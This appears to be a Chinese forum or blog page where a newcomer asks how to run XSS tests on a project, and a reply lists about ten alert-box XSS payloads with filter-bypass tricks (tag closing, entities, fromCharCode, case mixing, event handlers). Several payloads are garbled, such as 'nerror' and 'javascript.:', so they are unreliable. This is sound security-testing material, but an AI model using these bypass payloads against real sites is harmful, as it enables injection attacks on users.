新手,见谅

XSS攻击测试的新手求助

上一篇 / 下一篇  2014-11-15 17:26:11

项目组,要对项目进行XSS注入攻击测试,任务下达,可是本人啥都没搞过,求大侠指导新手入门,感谢~~


TAG:

引用 删除 make12345   /   2015-05-18 16:31:08
Xss代码可以有很多变形,可以是下面列子的变形组合。

1、 最简单最常用的测试代码:

<script>alert(“xss”)</script> 输入框或者url参数。

2、 闭合前面的标签:<input type=”text” value=””>

“><script>alert(“xss”)</script><a=”

3、 绕过引号过滤,过滤机制检测我们的输入一旦检测到单引号就加上\转义字符

使用html字符实体,如$#34;和"均表示双引号"><script>alert("xss")</script>

4、 使用javascript中的fromCharCode函数,用于将ascii转化成字符

<script>String.fromCharCode(97,108,101,114,116)(String.fromCharCode(88,83,83))</script>

5、 <ScRiPt. alert(“xss”);</ScRiPt>

6、 <Scriscriptpt>alert(“xss”);<scriScriptpt> 过滤时使用递归算法才能彻底过滤这种情况

不使用script标签

7、 我们可以使用<body nload=”alert(‘xss’)”>

8、 <img src=a nerror=”javascript.:alert(‘xss’)”>

9、 <input type=”text” name=”username” nclick=”javascript.:alert(‘xss’)”>

10、             onActivate与onfocus事件:

<input type=”text” name=”username” nActivate=”javascript.:alert(‘xss’)”>

<input type=”text” name=”username” nfocus=”javascript.:alert(‘xss’)”>

理论上所有的事件都可以用来绑定js命令,不再一一列举

http://www.w3school.com.cn/htmldom/dom_obj_event.asp

<img>标签
 

评分:0

我来说两句

日历

« 2024-05-06  
   1234
567891011
12131415161718
19202122232425
262728293031 

我的存档

数据统计

  • 访问量: 407
  • 日志数: 1
  • 建立时间: 2014-11-15
  • 更新时间: 2014-11-15

RSS订阅

Open Toolbar